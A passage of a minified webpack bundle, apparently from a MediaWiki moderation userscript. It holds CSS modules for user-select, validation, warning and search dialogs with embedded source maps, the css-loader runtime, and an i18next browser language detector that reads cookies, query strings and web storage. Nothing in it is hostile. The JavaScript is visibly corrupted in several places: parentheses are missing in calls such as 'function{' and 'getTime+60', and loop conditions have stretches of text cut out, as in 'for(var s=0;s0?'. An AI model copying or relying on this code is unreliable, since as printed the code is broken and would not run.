IAClB,aAAa;AACjB;;AAEA;IACI,kBAAkB;IAClB,sBAAsB;IACtB,eAAe;AACnB;;AAEA;IACI,kBAAkB;IAClB,yBAAyB;AAC7B;;AAEA;IACI,kBAAkB;IAClB,uBAAuB;AAC3B;;AAEA;;IAEI,cAAc;AAClB;;AAEA;IACI,0BAA0B;AAC9B;;AAEA;IACI,eAAe;IACf,gBAAgB;AACpB;;AAEA;IACI,WAAW;AACf",sourcesContent:[".uv-mdc-userSelect {\n    min-height: 100px;\n    width: 100%;\n}\n\n.uv-mdc-userSelect--overlay {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background-color: var(--mdc-theme-background);\n\n    transition: opacity 0.2s ease;\n    opacity: 1;\n}\n\n.uv-mdc-userSelect.uv-mdc-userSelect--active .uv-mdc-userSelect--overlay {\n    pointer-events: none;\n    opacity: 0;\n}\n\n.uv-mdc-userSelect--overlay > div {\n    width: 100%;\n    height: 100%;\n}\n\n.uv-mdc-userSelect--loading {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    flex-direction: column;\n}\n\n.uv-mdc-userSelect--loading :first-child {\n    font-size: xx-large;\n}\n\n@keyframes uv-mdc-colorPulsate {\n    0% {\n        color: gray;\n    }\n    50% {\n        color: darkgray;\n    }\n    100% {\n        color: gray;\n    }\n}\n\n.uv-mdc-userSelect--loading :last-child {\n    font-size: smaller;\n    animation: uv-mdc-colorPulsate 1s linear infinite;\n}\n\n.uv-mdc-userSelect--input {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.uv-mdc-userSelect--input span[data-mdc-textinput] {\n    min-width: 250px;\n    width: 65%;\n    margin-right: 8px;\n}\n\n.uv-mdc-userSelect table {\n    border-collapse: collapse;\n}\n\n.uv-mdc-userSelect table > tr:first-child > td:first-child {\n    border-right: 1px solid lightgray;\n    width: 100%;\n}\n\n.uv-mdc-userSelect table > tr:first-child > td:last-child,\n.uv-mdc-userSelect table > tr:last-child > td {\n    width: 20%;\n}\n\n.uv-mdc-userSelect table > tr:first-child > td:last-child {\n    border-bottom: 1px solid lightgray;\n}\n\n.uv-mdc-userSelect--main {\n    box-sizing: border-box;\n    width: 100%;\n    padding: 8px;\n}\n\n.uv-mdc-userSelect--main table {\n    display: block;\n}\n\n.uv-mdc-userSelect--main table,\n.uv-mdc-userSelect--main tr,\n.uv-mdc-userSelect--main td {\n    width: 100%;\n}\n\n.uv-mdc-userSelect--main table tr:first-child td:first-child {\n    max-width: 0;\n}\n\n.uv-mdc-userSelect--username {\n    font-size: xx-large;\n    width: 100%;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    line-height: 1.2em;\n    height: 1.2em;\n}\n\n.uv-mdc-userSelect--loading .uv-mdc-userSelect--username {\n    text-align: center;\n    box-sizing: border-box;\n    padding: 0 16px;\n}\n\n.uv-mdc-userSelect--overview {\n    font-size: smaller;\n    text-transform: uppercase;\n}\n\n.uv-mdc-userSelect--overview .mdc-tooltip {\n    font-size: initial;\n    text-transform: initial;\n}\n\n.uv-mdc-userSelect--username a,\n.uv-mdc-userSelect--overview a {\n    color: inherit;\n}\n\n.uv-mdc-userSelect--overview a:hover {\n    text-decoration: underline;\n}\n\n.uv-mdc-userSelect--groups {\n    padding: 0 16px;\n    font-size: small;\n}\n\n.uv-mdc-userSelect--groups a {\n    color: gray;\n}\n"],sourceRoot:""}]);const s=a},6028:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,".uv-mdc-validation {\n    margin-right: auto;\n}\n\n.uv-mdc-validation[data-valid] {\n    color: var(--green-80, #006504);\n}\n\n.uv-mdc-validation:not([data-valid]) {\n    color: var(--mdc-theme-error, #b00020);\n}\n\n.uv-mdc-validation .mdc-icon-button {\n    vertical-align: middle;\n}\n\n.uv-mdc-validation .uv-mdc-dialog-helperText {\n    display: inline-block;\n}\n\n/* Hide helper text if dialog is too small - TODO: @media is entire screen - we'd need to turn this\n    into JS to detect dialog width for resizable dialogs                                            */\n@media (max-width: 1165px) {\n    .uv-mdc-validation .uv-mdc-dialog-helperText {\n        display: none;\n    }\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/validation.css"],names:[],mappings:"AAAA;IACI,kBAAkB;AACtB;;AAEA;IACI,+BAA+B;AACnC;;AAEA;IACI,sCAAsC;AAC1C;;AAEA;IACI,sBAAsB;AAC1B;;AAEA;IACI,qBAAqB;AACzB;;AAEA;qGACqG;AACrG;IACI;QACI,aAAa;IACjB;AACJ",sourcesContent:[".uv-mdc-validation {\n    margin-right: auto;\n}\n\n.uv-mdc-validation[data-valid] {\n    color: var(--green-80, #006504);\n}\n\n.uv-mdc-validation:not([data-valid]) {\n    color: var(--mdc-theme-error, #b00020);\n}\n\n.uv-mdc-validation .mdc-icon-button {\n    vertical-align: middle;\n}\n\n.uv-mdc-validation .uv-mdc-dialog-helperText {\n    display: inline-block;\n}\n\n/* Hide helper text if dialog is too small - TODO: @media is entire screen - we'd need to turn this\n    into JS to detect dialog width for resizable dialogs                                            */\n@media (max-width: 1165px) {\n    .uv-mdc-validation .uv-mdc-dialog-helperText {\n        display: none;\n    }\n}\n"],sourceRoot:""}]);const s=a},5220:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,'#p-personal {\n    z-index: 1;\n}\n\n.mdc-dialog .uv-mdc-warnDialog.mdc-dialog__surface {\n    height: 95vh;\n    width: 45vw;\n    min-width: 600px;\n    max-width: 100vw;\n}\n\n.uv-mdc-warnDialog-reason {\n    margin: 16px 0;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--dropdown {\n    width: 100%;\n    display: inline-flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.uv-mdc-warnDialog-reason .mdc-select {\n    width: calc(100% - 56px); /* IconButton width + 8px margin */\n}\n\n.uv-mdc-warnDialog-reason .mdc-select__menu {\n    max-height: 40vh !important;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--search {\n    margin-left: 8px;\n}\n\n.uv-mdc-warnDialog-reason\n    .uv-mdc-warnDialog-reason--levels\n    .mdc-form-field\n    > span {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.uv-mdc-warnDialog-reason\n    .uv-mdc-warnDialog-reason--levels\n    .mdc-form-field\n    > span\n    > label {\n    display: inline-flex;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--levels table,\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--levels tr {\n    width: 100%;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--levels table {\n    height: 46px;\n    border-spacing: 8px;\n}\n\n.uv-mdc-warnDialog-reason\n    .uv-mdc-warnDialog-reason--levels\n    table\n    td:first-child {\n    margin-top: 16px;\n    width: 30%;\n    border-right: 1px solid gray;\n}\n\n.uv-mdc-warnDialog-reason\n    .mdc-text-field--filled.mdc-ripple-upgraded--background-focused\n    .mdc-text-field__ripple::before {\n    opacity: 0;\n}\n\n.uv-mdc-warnDialog-page {\n    display: flex;\n    align-items: center;\n}\n\n.uv-mdc-warnDialog-page .uv-mdc-warnDialog-page--textField {\n    flex: 1;\n}\n\n.uv-mdc-warnDialog-page .uv-mdc-warnDialog-page--recent {\n    margin-left: 8px;\n    flex: initial;\n}\n\n.uv-mdc-warnDialog-page.uv-warnDialog-hideRecentPages\n    .uv-mdc-warnDialog-page--recent {\n    display: none;\n}\n\n.uv-mdc-warnDialog-reason-note {\n    letter-spacing: initial;\n    padding: 0 1em 0.5em;\n}\n\n.uv-mdc-warnDialog-xray {\n    border-radius: 8px;\n    border: 1px solid #aaa;\n\n    box-sizing: border-box;\n    min-width: 0;\n    width: 100%;\n}\n\n.uv-mdc-warnDialog-xray .uv-mdc-warnDialog-xray--content {\n    min-height: 60px;\n    font-family: sans-serif;\n    font-size: 0.95rem;\n    font-weight: normal;\n    letter-spacing: normal;\n    line-height: 1.5em;\n    color: black;\n    position: relative;\n}\n\n.uv-mdc-warnDialog-xray .uv-mdc-warnDialog-xray--content::after {\n    content: "";\n    display: block;\n    position: absolute;\n    top: 0;\n    left: 0;\n    background-color: var(--mdc-theme-background);\n    width: 100%;\n    height: 100%;\n\n    pointer-events: none;\n    opacity: 0;\n\n    transition: opacity 0.2s ease;\n}\n\n.uv-mdc-warnDialog-xray.uv-mdc-warnDialog-xray--loading\n    .uv-mdc-warnDialog-xray--content::after {\n    opacity: 0.5;\n}\n\n.uv-mdc-warnDialog-xray .uv-mdc-warnDialog-xray--content p {\n    margin: 0;\n}\n\n/* Revert confirmation dialog */\n.uv-mdc-riskyWarning {\n    color: #f33;\n}\n\n/* Warning search dialog */\n\n.mdc-dialog .uv-mdc-warnSearchDialog.mdc-dialog__surface {\n    max-width: unset;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .mdc-dialog__content {\n    padding: 0;\n    overflow: hidden;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog--searchBar {\n    box-sizing: border-box;\n    height: 56px;\n    padding: 0 16px;\n}\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog--warnings {\n    /* Fixed to remove chin */\n    max-height: calc(100% - 72px);\n    margin: 16px;\n    overflow-y: auto;\n    display: flex;\n    flex-wrap: wrap;\n    flex-direction: row;\n    justify-content: flex-start;\n    align-items: center;\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog--warnings\n    .uv-warningCategory {\n    flex: initial;\n    width: 100%;\n    border-bottom: 1px solid #bbb;\n    margin: 8px 8px 4px 8px;\n\n    color: black;\n    font-weight: bold;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog-warning {\n    padding: 8px;\n    width: calc(50% - 16px);\n    margin: 4px 8px;\n    flex: initial;\n\n    cursor: pointer;\n    user-select: none;\n    transition: background-color 0.2s ease;\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog--searchBar.uv-mdc-warnSearchDialog--searchBar--focused\n    + .uv-mdc-warnSearchDialog--warnings\n    .uv-mdc-warnSearchDialog-warning--top {\n    /* Card outline */\n    box-shadow: inset 0 0 0 2px var(--mdc-theme-primary);\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog--searchBar:not(.uv-mdc-warnSearchDialog--searchBar--focused)\n    + .uv-mdc-warnSearchDialog--warnings\n    .uv-mdc-warnDialog-searchDialog-instantSelect {\n    display: none;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog-warning table {\n    border-collapse: collapse;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-warnSearch-hidden {\n    display: none;\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog-warning.uv-warning-selected {\n    background-color: rgba(0, 0, 0, 0.15);\n    cursor: unset;\n}\n\n/* Press ENTER to select screen */\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnDialog-searchDialog-instantSelect {\n    font-size: small;\n    line-height: 2.25em;\n}\n',"",{version:3,sources:["webpack://./src/styles/material/css/warnDialog.css"],names:[],mappings:"AAAA;IACI,UAAU;AACd;;AAEA;IACI,YAAY;IACZ,WAAW;IACX,gBAAgB;IAChB,gBAAgB;AACpB;;AAEA;IACI,cAAc;AAClB;;AAEA;IACI,WAAW;IACX,oBAAoB;IACpB,uBAAuB;IACvB,mBAAmB;AACvB;;AAEA;IACI,wBAAwB,EAAE,kCAAkC;AAChE;;AAEA;IACI,2BAA2B;AAC/B;;AAEA;IACI,gBAAgB;AACpB;;AAEA;;;;IAII,aAAa;IACb,uBAAuB;IACvB,mBAAmB;AACvB;;AAEA;;;;;IAKI,oBAAoB;AACxB;;AAEA;;IAEI,WAAW;AACf;;AAEA;IACI,YAAY;IACZ,mBAAmB;AACvB;;AAEA;;;;IAII,gBAAgB;IAChB,UAAU;IACV,4BAA4B;AAChC;;AAEA;;;IAGI,UAAU;AACd;;AAEA;IACI,aAAa;IACb,mBAAmB;AACvB;;AAEA;IACI,OAAO;AACX;;AAEA;IACI,gBAAgB;IAChB,aAAa;AACjB;;AAEA;;IAEI,aAAa;AACjB;;AAEA;IACI,uBAAuB;IACvB,oBAAoB;AACxB;;AAEA;IACI,kBAAkB;IAClB,sBAAsB;;IAEtB,sBAAsB;IACtB,YAAY;IACZ,WAAW;AACf;;AAEA;IACI,gBAAgB;IAChB,uBAAuB;IACvB,kBAAkB;IAClB,mBAAmB;IACnB,sBAAsB;IACtB,kBAAkB;IAClB,YAAY;IACZ,kBAAkB;AACtB;;AAEA;IACI,WAAW;IACX,cAAc;IACd,kBAAkB;IAClB,MAAM;IACN,OAAO;IACP,6CAA6C;IAC7C,WAAW;IACX,YAAY;;IAEZ,oBAAoB;IACpB,UAAU;;IAEV,6BAA6B;AACjC;;AAEA;;IAEI,YAAY;AAChB;;AAEA;IACI,SAAS;AACb;;AAEA,+BAA+B;AAC/B;IACI,WAAW;AACf;;AAEA,0BAA0B;;AAE1B;IACI,gBAAgB;AACpB;;AAEA;IACI,UAAU;IACV,gBAAgB;AACpB;;AAEA;IACI,sBAAsB;IACtB,YAAY;IACZ,eAAe;AACnB;AACA;IACI,yBAAyB;IACzB,6BAA6B;IAC7B,YAAY;IACZ,gBAAgB;IAChB,aAAa;IACb,eAAe;IACf,mBAAmB;IACnB,2BAA2B;IAC3B,mBAAmB;AACvB;;AAEA;;;;IAII,aAAa;IACb,WAAW;IACX,6BAA6B;IAC7B,uBAAuB;;IAEvB,YAAY;IACZ,iBAAiB;AACrB;;AAEA;IACI,YAAY;IACZ,uBAAuB;IACvB,eAAe;IACf,aAAa;;IAEb,eAAe;IACf,iBAAiB;IACjB,sCAAsC;AAC1C;;AAEA;;;;;IAKI,iBAAiB;IACjB,oDAAoD;AACxD;;AAEA;;;;;IAKI,aAAa;AACjB;;AAEA;IACI,yBAAyB;AAC7B;;AAEA;IACI,aAAa;AACjB;;AAEA;;;IAGI,qCAAqC;IACrC,aAAa;AACjB;;AAEA,iCAAiC;AACjC;;;IAGI,gBAAgB;IAChB,mBAAmB;AACvB",sourcesContent:['#p-personal {\n    z-index: 1;\n}\n\n.mdc-dialog .uv-mdc-warnDialog.mdc-dialog__surface {\n    height: 95vh;\n    width: 45vw;\n    min-width: 600px;\n    max-width: 100vw;\n}\n\n.uv-mdc-warnDialog-reason {\n    margin: 16px 0;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--dropdown {\n    width: 100%;\n    display: inline-flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.uv-mdc-warnDialog-reason .mdc-select {\n    width: calc(100% - 56px); /* IconButton width + 8px margin */\n}\n\n.uv-mdc-warnDialog-reason .mdc-select__menu {\n    max-height: 40vh !important;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--search {\n    margin-left: 8px;\n}\n\n.uv-mdc-warnDialog-reason\n    .uv-mdc-warnDialog-reason--levels\n    .mdc-form-field\n    > span {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.uv-mdc-warnDialog-reason\n    .uv-mdc-warnDialog-reason--levels\n    .mdc-form-field\n    > span\n    > label {\n    display: inline-flex;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--levels table,\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--levels tr {\n    width: 100%;\n}\n\n.uv-mdc-warnDialog-reason .uv-mdc-warnDialog-reason--levels table {\n    height: 46px;\n    border-spacing: 8px;\n}\n\n.uv-mdc-warnDialog-reason\n    .uv-mdc-warnDialog-reason--levels\n    table\n    td:first-child {\n    margin-top: 16px;\n    width: 30%;\n    border-right: 1px solid gray;\n}\n\n.uv-mdc-warnDialog-reason\n    .mdc-text-field--filled.mdc-ripple-upgraded--background-focused\n    .mdc-text-field__ripple::before {\n    opacity: 0;\n}\n\n.uv-mdc-warnDialog-page {\n    display: flex;\n    align-items: center;\n}\n\n.uv-mdc-warnDialog-page .uv-mdc-warnDialog-page--textField {\n    flex: 1;\n}\n\n.uv-mdc-warnDialog-page .uv-mdc-warnDialog-page--recent {\n    margin-left: 8px;\n    flex: initial;\n}\n\n.uv-mdc-warnDialog-page.uv-warnDialog-hideRecentPages\n    .uv-mdc-warnDialog-page--recent {\n    display: none;\n}\n\n.uv-mdc-warnDialog-reason-note {\n    letter-spacing: initial;\n    padding: 0 1em 0.5em;\n}\n\n.uv-mdc-warnDialog-xray {\n    border-radius: 8px;\n    border: 1px solid #aaa;\n\n    box-sizing: border-box;\n    min-width: 0;\n    width: 100%;\n}\n\n.uv-mdc-warnDialog-xray .uv-mdc-warnDialog-xray--content {\n    min-height: 60px;\n    font-family: sans-serif;\n    font-size: 0.95rem;\n    font-weight: normal;\n    letter-spacing: normal;\n    line-height: 1.5em;\n    color: black;\n    position: relative;\n}\n\n.uv-mdc-warnDialog-xray .uv-mdc-warnDialog-xray--content::after {\n    content: "";\n    display: block;\n    position: absolute;\n    top: 0;\n    left: 0;\n    background-color: var(--mdc-theme-background);\n    width: 100%;\n    height: 100%;\n\n    pointer-events: none;\n    opacity: 0;\n\n    transition: opacity 0.2s ease;\n}\n\n.uv-mdc-warnDialog-xray.uv-mdc-warnDialog-xray--loading\n    .uv-mdc-warnDialog-xray--content::after {\n    opacity: 0.5;\n}\n\n.uv-mdc-warnDialog-xray .uv-mdc-warnDialog-xray--content p {\n    margin: 0;\n}\n\n/* Revert confirmation dialog */\n.uv-mdc-riskyWarning {\n    color: #f33;\n}\n\n/* Warning search dialog */\n\n.mdc-dialog .uv-mdc-warnSearchDialog.mdc-dialog__surface {\n    max-width: unset;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .mdc-dialog__content {\n    padding: 0;\n    overflow: hidden;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog--searchBar {\n    box-sizing: border-box;\n    height: 56px;\n    padding: 0 16px;\n}\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog--warnings {\n    /* Fixed to remove chin */\n    max-height: calc(100% - 72px);\n    margin: 16px;\n    overflow-y: auto;\n    display: flex;\n    flex-wrap: wrap;\n    flex-direction: row;\n    justify-content: flex-start;\n    align-items: center;\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog--warnings\n    .uv-warningCategory {\n    flex: initial;\n    width: 100%;\n    border-bottom: 1px solid #bbb;\n    margin: 8px 8px 4px 8px;\n\n    color: black;\n    font-weight: bold;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog-warning {\n    padding: 8px;\n    width: calc(50% - 16px);\n    margin: 4px 8px;\n    flex: initial;\n\n    cursor: pointer;\n    user-select: none;\n    transition: background-color 0.2s ease;\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog--searchBar.uv-mdc-warnSearchDialog--searchBar--focused\n    + .uv-mdc-warnSearchDialog--warnings\n    .uv-mdc-warnSearchDialog-warning--top {\n    /* Card outline */\n    box-shadow: inset 0 0 0 2px var(--mdc-theme-primary);\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog--searchBar:not(.uv-mdc-warnSearchDialog--searchBar--focused)\n    + .uv-mdc-warnSearchDialog--warnings\n    .uv-mdc-warnDialog-searchDialog-instantSelect {\n    display: none;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-mdc-warnSearchDialog-warning table {\n    border-collapse: collapse;\n}\n\n.mdc-dialog .uv-mdc-warnSearchDialog .uv-warnSearch-hidden {\n    display: none;\n}\n\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnSearchDialog-warning.uv-warning-selected {\n    background-color: rgba(0, 0, 0, 0.15);\n    cursor: unset;\n}\n\n/* Press ENTER to select screen */\n.mdc-dialog\n    .uv-mdc-warnSearchDialog\n    .uv-mdc-warnDialog-searchDialog-instantSelect {\n    font-size: small;\n    line-height: 2.25em;\n}\n'],sourceRoot:""}]);const s=a},9165:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,"#uvPageIcons {\n    float: right;\n    padding-top: 0.2em;\n    margin-left: 8px;\n}\n\n#uvPageIcons.uv-firstHeading--hidden {\n    position: relative;\n    height: 0;\n}\n\n.skin-timeless #uvPageIcons.uv-firstHeading--hidden {\n    top: 46px;\n}\n\n.skin-vector-2022 #uvPageIcons.uv-firstHeading--hidden {\n    top: 6px;\n}\n\n#uvPageIcons.uv-firstHeading--hidden > * {\n    position: absolute;\n    right: 0;\n}\n","",{version:3,sources:["webpack://./src/ui/css/pageIcons.css"],names:[],mappings:"AAAA;IACI,YAAY;IACZ,kBAAkB;IAClB,gBAAgB;AACpB;;AAEA;IACI,kBAAkB;IAClB,SAAS;AACb;;AAEA;IACI,SAAS;AACb;;AAEA;IACI,QAAQ;AACZ;;AAEA;IACI,kBAAkB;IAClB,QAAQ;AACZ",sourcesContent:["#uvPageIcons {\n    float: right;\n    padding-top: 0.2em;\n    margin-left: 8px;\n}\n\n#uvPageIcons.uv-firstHeading--hidden {\n    position: relative;\n    height: 0;\n}\n\n.skin-timeless #uvPageIcons.uv-firstHeading--hidden {\n    top: 46px;\n}\n\n.skin-vector-2022 #uvPageIcons.uv-firstHeading--hidden {\n    top: 6px;\n}\n\n#uvPageIcons.uv-firstHeading--hidden > * {\n    position: absolute;\n    right: 0;\n}\n"],sourceRoot:""}]);const s=a},3645:e=>{"use strict";e.exports=function(e){var t=[];return t.toString=function{return this.map((function(t){var n="",i=void 0!==t[5];return t[4]&&(n+="@supports (".concat(t[4],") {")),t[2]&&(n+="@media ".concat(t[2]," {")),i&&(n+="@layer".concat(t[5].length>0?" ".concat(t[5]):""," {")),n+=e(t),i&&(n+="}"),t[2]&&(n+="}"),t[4]&&(n+="}"),n})).join("")},t.i=function(e,n,i,r,o){"string"==typeof e&&(e=null,e,void 0);var a={};if(i)for(var s=0;s0?" ".concat(d[5]):""," {").concat(d[1],"}")),d[5]=o),n&&(d[2]?(d[1]="@media ".concat(d[2]," {").concat(d[1],"}"),d[2]=n):d[2]=n),r&&(d[4]?(d[1]="@supports (".concat(d[4],") {").concat(d[1],"}"),d[4]=r):d[4]="".concat(r)),t.push(d))}},t}},7537:e=>{"use strict";e.exports=function(e){var t=e[1],n=e[3];if(!n)return t;if("function"==typeof btoa){var i=btoa(unescape(encodeURIComponent(JSON.stringify(n)))),r="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(i),o="/*# ".concat(r," */"),a=n.sources.map((function(e){return"/*# sourceURL=".concat(n.sourceRoot||"").concat(e," */")}));return[t].concat(a).concat([o]).join("\n")}return[t].join("\n")}},6071:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:=>T});var i=n(5671),r=n(3144),o=[],a=o.forEach,s=o.slice;function l(e){return a.call(s.call(arguments,1),(function(t){if(t)for(var n in t)void 0===e[n]&&(e[n]=t[n])})),e}var c=/^[\u0009\u0020-\u007e\u0080-\u00ff]+$/,d=function(e,t,n){var i=n||{};i.path=i.path||"/";var r=e+"="+encodeURIComponent(t);if(i.maxAge>0){var o=i.maxAge-0;if(isNaN(o))throw new Error("maxAge should be a Number");r+="; Max-Age="+Math.floor(o)}if(i.domain){if(!c.test(i.domain))throw new TypeError("option domain is invalid");r+="; Domain="+i.domain}if(i.path){if(!c.test(i.path))throw new TypeError("option path is invalid");r+="; Path="+i.path}if(i.expires){if("function"!=typeof i.expires.toUTCString)throw new TypeError("option expires is invalid");r+="; Expires="+i.expires.toUTCString}if(i.httpOnly&&(r+="; HttpOnly"),i.secure&&(r+="; Secure"),i.sameSite)switch("string"==typeof i.sameSite?i.sameSite.toLowerCase:i.sameSite){case!0:r+="; SameSite=Strict";break;case"lax":r+="; SameSite=Lax";break;case"strict":r+="; SameSite=Strict";break;case"none":r+="; SameSite=None";break;default:throw new TypeError("option sameSite is invalid")}return r},u=function(e,t,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{path:"/",sameSite:"strict"};n&&(r.expires=new Date,r.expires.setTime(r.expires.getTime+60*n*1e3)),i&&(r.domain=i),document.cookie=d(e,encodeURIComponent(t),r)},p=function(e){for(var t=e+"=",n=document.cookie.split(";"),i=0;i<n.length;i++){for(var r=n[i];" "===r.charAt(0);)r=r.substring(1,r.length);if(0===r.indexOf(t))return r.substring(t.length,r.length)}return null},h={name:"cookie",lookup:function(e){var t;if(e.lookupCookie&&"undefined"!=typeof document){var n=p(e.lookupCookie);n&&(t=n)}return t},cacheUserLanguage:function(e,t){t.lookupCookie&&"undefined"!=typeof document&&u(t.lookupCookie,e,t.cookieMinutes,t.cookieDomain,t.cookieOptions)}},f={name:"querystring",lookup:function(e){var t;if("undefined"!=typeof window){var n=window.location.search;!window.location.search&&window.location.hash&&window.location.hash.indexOf("?")>-1&&(n=window.location.hash.substring(window.location.hash.indexOf("?")));for(var i=n.substring(1).split("&"),r=0;r0)i[r].substring(0,o)===e.lookupQuerystring&&(t=i[r].substring(o+1))}}return t}},g=null,m=function{if(null!==g)return g;try{g="undefined"!==window&&null!==window.localStorage;var e="i18next.translate.boo";window.localStorage.setItem(e,"foo"),window.localStorage.removeItem(e)}catch(e){g=!1}return g},v={name:"localStorage",lookup:function(e){var t;if(e.lookupLocalStorage&&m){var n=window.localStorage.getItem(e.lookupLocalStorage);n&&(t=n)}return t},cacheUserLanguage:function(e,t){t.lookupLocalStorage&&m&&window.localStorage.setItem(t.lookupLocalStorage,e)}},A=null,y=function{if(null!==A)return A;try{A="undefined"!==window&&null!==window.sessionStorage;var e="i18next.translate.boo";window.sessionStorage.setItem(e,"foo"),window.sessionStorage.removeItem(e)}catch(e){A=!1}return A},_={name:"sessionStorage",lookup:function(e){var t;if(e.lookupSessionStorage&&y){var n=window.sessionStorage.getItem(e.lookupSessionStorage);n&&(t=n)}return t},cacheUserLanguage:function(e,t){t.lookupSessionStorage&&y&&window.sessionStorage.setItem(t.lookupSessionStorage,e)}},b={name:"navigator",lookup:function(e){var t=[];if("undefined"!=typeof navigator){if(navigator.languages)for(var n=0;n0?t:void 0}},I={name:"htmlTag",lookup:function(e){var t,n=e.htmlTag||("undefined"!=typeof document?document.documentElement:null);return n&&"function"==typeof n.getAttribute&&(t=n.getAttribute("lang")),t}},C={name:"path",lookup:function(e){var t;if("undefined"!=typeof window){var n=window.location.pathname.match(/\/([a-zA-Z-]*)/g);if(n instanceof Array)if("number"==typeof e.lookupFromPathIndex){if("string"!=typeof n[e.lookupFromPathIndex])return;t=n[e.lookupFromPathIndex].replace("/","")}else t=n[0].replace("/","")}return t}},E={name:"subdomain",lookup:function(e){var t;if("undefined"!=typeof window){var n=window.location.href.match(/(?:http[s]*\:\/\/)*(.*?)\.(?=[^\/]*\..{2,5})/gi);n instanceof Array&&(t="number"==typeof e.lookupFromSubdomainIndex?n[e.lookupFromSubdomainIndex].replace("http://","").replace("https://","").replace(".",""):n[0].replace("http://","").replace("https://","").replace(".",""))}return t}};var T=function{function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};(0,i.Z)(this,e),this.type="languageDetector",this.detectors={},this.init(t,n)}return(0,r.Z)(e,[{key:"init",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};this.services=e,this.options=l(t,this.options||{},{order:["querystring","cookie","localStorage","sessionStorage","navigator","htmlTag"],lookupQuerystring:"lng",lookupCookie:"i18next",lookupLocalStorage:"i18nextLng",lookupSessionStorage:"i18nextLng",caches:["localStorage"],excludeCacheFor:["cimode"]}),this.options.lookupFromUrlIndex&&(this.options.lookupFromPathIndex=this.options.lookupFromUrlIndex),this.i18nOptions=n,this.addDetector(h),this.addDetector(f),this.addDetector(v),this.addDetector(_),this.addDetector(b),this.addDetector(I),this.addDetector(C),this.addDetector(E)}},{key:"addDetector",value:function(e){this.detectors[e.name]=e}},{key:"detect",value:function(e){var t=this;e||(e=this.options.order);var n=[];return e.forEach((function(e){if(t.detectors[e]){var i=t.detectors[e].lookup(t.options);i&&"string"==typeof i&&(i=[i]),i&&(n=n.concat(i))}})),this.services.languageUtils.getBestMatchFromCodes?n:n.length>0?n[0]:null}},{key:"cacheUserLanguage",value:function(e,t){var n=this;t||(t=this.options.caches),t&&(this.options.excludeCacheFor&&this.options.excludeCacheFor.indexOf(e)>-1||t.forEach((function(t){n.detectors[t]&&n.detectors[t].cacheUserLanguage(e,n.options)})))}}]),e};T.type="languageDetector"},1261:(e,t,n)=>{"use strict";function i(e){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i(e)}function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e){for(var t=1;tW});var a=n(5671),s=n(3144);function l(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super hasn't been called");return e}function c(e,t){if(t&&("object"===i(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or 